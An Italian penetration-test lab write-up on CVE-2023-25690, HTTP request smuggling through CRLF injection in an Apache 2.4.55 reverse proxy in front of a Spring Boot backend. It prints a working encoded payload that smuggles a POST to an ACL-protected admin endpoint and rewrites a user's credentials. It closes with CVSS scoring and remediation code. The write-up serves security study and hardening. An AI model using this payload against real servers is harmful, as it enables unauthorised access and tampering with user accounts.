
HTTP Request Smuggling lab: Apache 2.4.55 CRLF injection
| Componente | Ruolo | Versione |
|---|
| Apache HTTP Server | Reverse Proxy | 2.4.55 (vulnerabile) |
| Spring Boot (Tomcat embedded) | Backend API | 4.x (Java 21) |
| SQLite | Database | — |
Utente ──► Apache :80 (Proxy) ──► Spring Boot :8080 (Backend) ──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690: CRLF non sanitizzati
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL: <Location "/admin"> bloccato
POST /public/register: permette la registrazione degli utenti nel database
POST /public/login: permette il login attraverso la verifica delle credenziali inserite e rilascia un token di sessione
GET /public/dashboard: area riservata degli utenti
GET /api/status: accetta parametro “name”, è un endpoint di esempio per la verifica dello stato dei servizi
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass}: è una rotta teoricamente inaccessibile al pubblico che permette la modifica dei dati degli utenti agli amministratori
Durante l'attività di penetration testing è stata identificata una vulnerabilità critica nell'infrastruttura di reverse proxy che espone il backend Spring Boot. Il proxy Apache HTTP Server versione 2.4.55 è affetto dalla vulnerabilità CVE-2023-25690 (HTTP Request Smuggling), che consente a un attaccante di bypassare i filtri di sicurezza imposti sul proxy e raggiungere direttamente endpoint amministrativi interni non protetti.
L'attacco sfrutta l'assenza di sanitizzazione dei caratteri di controllo (CRLF) nelle RewriteRule di Apache, permettendo l'iniezione di una seconda richiesta HTTP tra i parametri di una richiesta lecita verso il backend. Il proof of concept ha dimostrato la modifica non autorizzata delle credenziali utente nel database tramite l'endpoint /admin/edit/{id}/{newName}/{newPass}, teoricamente protetto dalle ACL del proxy.
Raccomandazioni: Aggiornare immediatamente Apache HTTP Server alla versione ≥ 2.4.56, rafforzare i filtri di sicurezza sul proxy e implementare un layer di sicurezza lato backend (Spring Security) per tutti gli endpoint sensibili.
Identificazione della versione di Apache tramite analisi degli header HTTP della risposta.
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
Risultato: Server header rivela Apache/2.4.55. Consultazione del CVE database → corrispondenza con CVE-2023-25690.
Secondo la CVE, in questa versione di Apache, se è presente una RewriteRule che copia nell'url di destinazione del back-end, caratteri generici provenienti dalla richiesta al proxy, il testo trascritto non viene sanitizzato, quindi passano anche caratteri di controllo (come i ritorni a capo)
Ad esempio: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // la P sta per modalità proxy
Quindi ora il nostro obiettivo è scoprire un eventuale endpoint che effettui questa trascrizione a livello di proxy
Dall'analisi delle risposte e dal comportamento dell'applicazione si osserva che la sessione è gestita attraverso JSESSIONID, che conferma l'uso di un Servlet Container Java (come Apache Tomcat, Jetty o WildFly), inoltre, la richiesta ad endpoint inesistenti restituisce un "Whitelabel Error Page" che indica che nel backend c'è Spring Boot.
Tramite uno script bash per l'automazione del fuzzing a dizionario sono stati mappati gli endpoint esposti in rete (presumibilmente tutti)
Risultato:
| Endpoint | Codice HTTP | Metodo | Parametri |
|---|---|---|---|
| admin | 403 | GET | (no params) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (no params) |
| public/logout | 200 | GET | (no params) |
| api/status | 200 | GET | (no params) |
| service/* | 200 | GET | (no params) |
Dato che
restituiscono entrambe la stessa risposta si capisce che puntano allo stesso endpoint del back-end, inoltre dato che richieste come /service/x/y/z (che molto probabilmente non esistono) non restituiscono 404, si può dedurre che l'endpoint originale accetta un parametro e non una path variable, quindi in conclusione si può dedurre che le richieste a /service/<servizio> vengono tradotte con una RewriteRule per il backend Spring Boot (proprio quello che cercavamo). Ora c'è da capire se questa RewriteRule è dummy, cioè usa una regex tipo .* o se è ben strutturata.
Provo a inserire caratteri di controllo nella richiesta per splittare il contenuto legittimo da quello nascosto:
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... Il servizio 'x' è operativo e stabile.
Ho inserito un parametro custom per verificare che i CRLF vengano interpretati correttamente
trash_header ha il compito di incapsulare gli header che apache inserirà nella richiesta al backend (in questo modo verranno interpretati come semplice testo di X-Header e non avranno valore ai fini della richiesta http)
Con tcpdump nel container del back-end ho avuto modo di intercettare la richiesta http proveniente da apache:
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
Il back-end vede questa richiesta:
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
"I caratteri di controllo hanno controllato"
La risposta mi indica che la parte con i caratteri di controllo è passata indisturbata come struttura della richiesta http stessa e non semplicemente come parametro (poichè il nome intercettato dal backend è solo 'x'). Quindi abbiamo imposto il formato della richiesta http verso il backend e il proxy l'ha recepita, questo apre la strada al vero payload per lo smuggling.
| Endpoint | Metodo | Accesso | Note |
|---|---|---|---|
/public/register | POST | Pubblico | Registrazione utente |
/public/login | POST | Pubblico | Login, rilascia JSESSIONID |
/public/dashboard | GET | Autenticato | Area riservata |
/public/logout | GET | Pubblico | Distrugge sessione |
/api/status?name= | GET | Pubblico | Health check |
/service/{param} | GET | Pubblico | Gateway vulnerabile ($1 in query string) |
/admin/edit/{id}/{n}/{p} | POST | Protetto (ACL) | Modifica credenziali utente |
/admin/ | * | Bloccato (403) | ACL Apache |
Forzare il reverse proxy Apache a inoltrare due richieste distinte al backend Spring Boot, facendo sì che la seconda richiesta raggiunga l'endpoint /admin/edit/ bypassando il filtro ACL di Apache.
In questa fase si immagini che localhost e spring-backend siano rispettivamente gli indirizzi pubblici di proxy e server. Nel caso in cui proxy e backend siano nella stessa rete (o organizzazione), spring-backend sarà un ip privato (che purtroppo risulterebbe difficile conoscere)
La vulnerabilità risiede nella RewriteRule:
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
Il proxy cattura l'input utente in $1 e lo inserisce nella query string senza sanitizzare i caratteri di controllo (%20, %0d%0a). Il backend (Tomcat) interpreta questi caratteri come terminazione dell'URL e inizio di una nuova richiesta HTTP sullo stesso socket TCP.
A) GET /service/x → Parte legittima; tutto quello che viene dopo /service/
finisce in $1 (parametro name)
B) %20HTTP/1.1 → [Splitting Point] Spazio che chiude
prematuramente l'URL nel backend
C) %0d%0aHost:...%0d%0a%0d%0a → [Header Injection] CRLF per terminare
la prima richiesta
D) POST /admin/edit/1/HACKED/PWNED → [Smuggled Request] Richiesta
malevola nascosta verso endpoint admin
E) %20HTTP/1.1 → Versione HTTP per la seconda richiesta
F) %0d%0aContent-Length:%200 → Corpo vuoto per la POST
%0d%0aConnection:%20close
%0d%0aX-Header:%20 → [Header Sink] Assorbe header aggiunti
automaticamente da Apache
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost
Ciò che Apache vede (una sola richiesta):
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost
Ciò che il backend riceve (due richieste sul medesimo socket):
--- Richiesta 1 (legittima, ma "mutilata") ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend
--- Richiesta 2 (smuggled) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:
>> ... HTTP/1.1 200 ... Il servizio 'x' è operativo e stabile.
L'utente con ID 1 è stato rinominato in HACKED con password PWNED — bypass totale delle ACL del proxy.
Accesso diretto al database per conferma:
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"
1|HACKED|PWNED
| ID | Descrizione |
|---|---|
| CVE-2023-25690 | Apache HTTP Server HTTP Request Smuggling via mod_proxy con RewriteRule/ProxyPassMatch |
| CWE-444 | Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') |
| CWE-113 | Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') |
| Metrica | Valore | Descrizione |
|---|---|---|
| Attack Vector (AV) | N (Network) | Accessibile da rete remota |
| Attack Complexity (AC) | L (Low) | Nessuna condizione speciale |
| Privileges Required (PR) | N (None) | Nessuna autenticazione richiesta |
| User Interaction (UI) | N (None) | Non richiede interazione vittima |
| Scope (S) | C (Changed) | Il componente vulnerabile è diverso da quello colpito |
| Confidentiality (C) | H (High) | Accesso a endpoint riservati |
| Integrity (I) | H (High) | Modifica dati utente nel database |
| Availability (A) | H (High) | Possibile cache poisoning del proxy / Inquinamento dei socket |
Base Score: 10.0 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| Metrica | Valore | Descrizione |
|---|---|---|
| Exploit Code Maturity (E) | F (Functional exploit exists) | Exploit funzionante |
| Remediation Level (RL) | O (Official Fix) | Nelle versioni successive di Apache, il bug è stato fixato |
| Report Confidence (RC) | C (Confirmed) | Vulnerabilità confermata e documentata |
Temporal Score: 9.3 (HIGH)
| Metrica | Valore | Descrizione |
|---|---|---|
| Attack Vector (MAV) | N (Network) | Proxy esposto su internet |
| Attack Complexity (MAC) | H (High) | Richiede conoscenza struttura endpoint interni |
| Privileges Required (MPR) | L (Low) | Non servono privilegi di alcun tipo |
| User Interaction (MUI) | N (None) | Non serve interazione da parte di utenti esterni |
| Scope (MS) | C (Changed) | Si viola un sistema attraverso un altro |
| Impact Metrics (MC/MI/MA) | H/H/H | Danno massimo (modifica dati nel database) |
| CIA Requirements (CR/IR/AR) | H/H/H | Sistema critico (login utenti) |
Environmental Score: 8.0 (HIGH)
Vector String: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H
Overall Score: 8.0 — HIGH
Aggiornare Apache HTTP Server alla versione ≥ 2.4.56, dove la sanitizzazione dei caratteri di controllo nelle RewriteRule con flag [P] è forzata a livello di core del server.
| Versione corrente | Versione target | Fix |
|---|---|---|
| 2.4.55 | 2.4.56+ | Sanitizzazione automatica CRLF in mod_proxy |
Aggiungere spring-boot-starter-security al pom.xml:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
Configurare un SecurityFilterChain che protegga gli endpoint amministrativi:
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.authorizeHttpRequests(auth -> auth
.requestMatchers("/public/**").permitAll()
.requestMatchers("/api/**").permitAll()
.requestMatchers("/admin/**").hasRole("ADMIN")
.anyRequest().authenticated()
)
.httpBasic(Customizer.withDefaults())
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
return http.build();
}
}
Aggiungere controlli su tutti i parametri accettati dagli endpoint (query string, path variables, form data):
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
@PathVariable Long id,
@PathVariable @NotBlank String newName,
@PathVariable @NotBlank String newPass,
HttpSession session) {
// Verifica che l'utente abbia ruolo ADMIN
User loggedUser = (User) session.getAttribute("LOGGED_USER");
if (loggedUser == null || !loggedUser.hasAdminRole()) {
return "Accesso negato";
}
// ... operazione consentita solo dopo auth check
}